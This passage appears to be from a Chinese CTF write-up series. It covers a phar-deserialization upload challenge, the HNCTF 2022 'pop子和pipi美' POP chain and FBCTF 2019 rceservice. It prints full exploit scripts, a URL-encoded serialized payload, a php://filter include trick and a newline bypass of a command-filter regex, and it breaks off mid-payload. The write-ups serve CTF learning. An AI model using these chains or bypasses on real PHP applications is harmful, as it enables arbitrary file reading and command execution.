1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include 'function.php'; upload_file(); ?> <html> <head> <meta charest="utf-8"> <title>文件上传</title> </head> <body> <div align = "center"> <h1>前端写得很low,请各位师傅见谅!</h1> </div> <style> p{ margin:0 auto} </style> <div> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </div> </script> </body> </html
base.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php session_start(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>web3</title> <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <nav class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="index.php">首页</a> </div> <ul class="nav navbar-nav navbra-toggle"> <li class="active"><a href="file.php?file=">查看文件</a></li> <li><a href="upload_file.php">上传文件</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> </ul> </div> </nav> </body> </html> <!--flag is in f1ag.php-->
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } ?>
跟传文件有关系的,限制路径,不能自由读文件的,跟解析没关系的,还找到类文件,大概率就是phar反序列化题,先分析一下function.php
,只允许图片类型,传完文件会删除重复文件,会把文件名拼接客户端IP地址的结果进行md5处理作为文件名,后缀必是jpg,也就是我们传上去的文件在服务器存储的形式是upload/32位hash.jpg
。所以我们等下要根据这个计算出我们上传触发反序列化的phar文件名是什么。
接下来分析class.php
找链子,在Test
类中的file_get
方法里存在file_get_contents
,get
方法调用了file_get
,__get
方法调用了get
,所以要触发Test
类中的__get
,而__get是在读取不可访问或者不存在的属性的时候,进行赋值
,我们看到Show
类下的__toString
存在$content=$this->str['str']->source;
,会去访问source
这个成员,而Test
类不存在source
,所以可以触发它的__get
,所以要触发Show
的__toString
,在类C1e4r
的__destruct
中,存在echo $this->test
,将变量test
作为字符串处理,会触发__toString
,这样链子就很清晰了:
1 C1e4r->__destruct->Show->__toString->File->__get->get->file_get->file_get_content
重写Show和Test的构造函数,让Show->str['str']=new Test()
,然后它在__toString()
里访问了Test
对象中不存在的source
属性,就会触发__get
,让Test->params['source']='/var/www/html/f1ag.php'
,就能过if(isset($this->params[$key]))
最终读取flag
到这里,可以写exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } } class Show { public $source ; public $str ; public function __construct ( ) { $this ->str['str' ]=new Test (); } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } } class Test { public $file ='/var/www/html/f1ag.php' ; public $params ; public function __construct ( ) { $this ->params['source' ]=$this ->file; } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } } $a = new C1e4r (new Show ());$phar = new Phar ('exp.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER();?>' );$phar ->setMetadata ($a );$phar ->addFromString ('1.txt' ,'1' );$phar ->stopBuffering ();
将生成的exp.phar重命名为exp.jpg,上传,然后计算md5
1 2 <?php echo md5 ("exp.jpg" ."用户名处显示的你的IP" );
最后/file.php?file=phar://upload/md5.jpg
getflag
185.[HNCTF 2022 WEEK4]pop子和pipi美 脑洞,https://www.bilibili.com/bangumi/play/ep683045
的ep683045
就是传入的参数
payload1:?pop_EP=ep683045
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php error_reporting (0 );class Popuko { private $No_893 ; public function POP_TEAM_EPIC ( ) { $WEBSITE = "MANGA LIFE WIN" ; } public function __invoke ( ) { $this ->append ($this ->No_893); } public function append ($anti_takeshobo ) { include ($anti_takeshobo ); } } class Pipimi { public $pipi ; public function PIPIPMI ( ) { $h = "超喜欢POP子ww,你也一样对吧(举刀)" ; } public function __construct ( ) { echo "Pipi美永远不会生气ww" ; $this ->pipi = array (); } public function __get ($corepop ) { $function = $this ->p; return $function (); } } class Goodsisters { public function PopukoPipimi ( ) { $is = "Good sisters" ; } public $kiminonawa ,$str ; public function __construct ($file ='index.php' ) { $this ->kiminonawa = $file ; echo 'Welcome to HNCTF2022 ,' ; echo 'This is ' .$this ->kiminonawa."<br>" ; } public function __toString ( ) { return $this ->str->kiminonawa; } public function __wakeup ( ) { if (preg_match ("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i" , $this ->kiminonawa)) { echo "仲良ピース!" ; $this ->kiminonawa = "index.php" ; } } } if (isset ($_GET ['pop' ])) @unserialize ($_GET ['pop' ]); else { $a =new Goodsisters ; if (isset ($_GET ['pop_EP' ]) && $_GET ['pop_EP' ] == "ep683045" ){ highlight_file (__FILE__ ); echo '欸嘿,你也喜欢pop子~对吧ww' ; } }
链子还是很简单的,提示性都特别明显,最终要include()
,就要调用append()
,就要调用__invoke()
,在Pipimi
的__get()
里能触发__invoke()
,在Goodisisters
的__toString()
里能触发__get()
,在__wakeup()
里能触发__toStirng()
,if(isset($_GET['pop'])) @unserialize($_GET['pop']);
能触发__wakeup()
1 unserialize()->Goodsisters::__wakeup()->Goodsisters::__toString()->Pipimi::__get()->Popuko::__invoke()->Popuko::append()->Popuko::include()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class Popuko { private $No_893 ="php://filter/read=convert.base64-encode/resource=f14g.php" ; public function POP_TEAM_EPIC ( ) { $WEBSITE = "MANGA LIFE WIN" ; } public function __invoke ( ) { $this ->append ($this ->No_893); } public function append ($anti_takeshobo ) { include ($anti_takeshobo ); } } class Pipimi { public $pipi ; public function PIPIPMI ( ) { $h = "超喜欢POP子ww,你也一样对吧(举刀)" ; } public function __construct ( ) { echo "Pipi美永远不会生气ww" ; $this ->p=new Popuko (); } } class Goodsisters { public function PopukoPipimi ( ) { $is = "Good sisters" ; } public $kiminonawa ,$str ; public function __construct ( ) { $this ->str=new Pipimi (); } public function __toString ( ) { return $this ->str->kiminonawa; } public function __wakeup ( ) { if (preg_match ("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.\./i" , $this ->kiminonawa)) { echo "仲良ピース!" ; $this ->kiminonawa = "index.php" ; } } } $a = new Goodsisters ();$a ->kiminonawa = new Goodsisters ();echo urlencode (serialize ($a ));
payload2:
?pop=O%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BO%3A11%3A%22Goodsisters%22%3A2%3A%7Bs%3A10%3A%22kiminonawa%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A6%3A%22Pipimi%22%3A2%3A%7Bs%3A4%3A%22pipi%22%3BN%3Bs%3A1%3A%22p%22%3BO%3A6%3A%22Popuko%22%3A1%3A%7Bs%3A14%3A%22%00Popuko%00No_893%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Df14g.php%22%3B%7D%7D%7D
186.[FBCTF 2019]rceservice 附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <html> <body> <h1>Web Adminstration Interface</h1> <?php putenv('PATH=/home/rceservice/jail'); if (isset($_REQUEST['cmd'])) { $json = $_REQUEST['cmd']; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>'; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) { echo 'Hacking attempt detected<br/><br/>'; } else { echo 'Attempting to run command:<br/>'; $cmd = json_decode($json, true)['cmd']; if ($cmd !== NULL) { system($cmd); } else { echo 'Invalid input'; } echo '<br/><br/>'; } } ?> <form> Enter command as JSON: <input name="cmd" /> </form> </body> </html>
分析下正则
可以发现在头尾处匹配了.
,而且没有用s
来修饰,所以不包括换行符号%0a
,有关修饰符的点可以自行查阅php手册,可以使用%0a
绕过正则,也可以使用PCRE回溯次数绕过。
payload:`?cmd=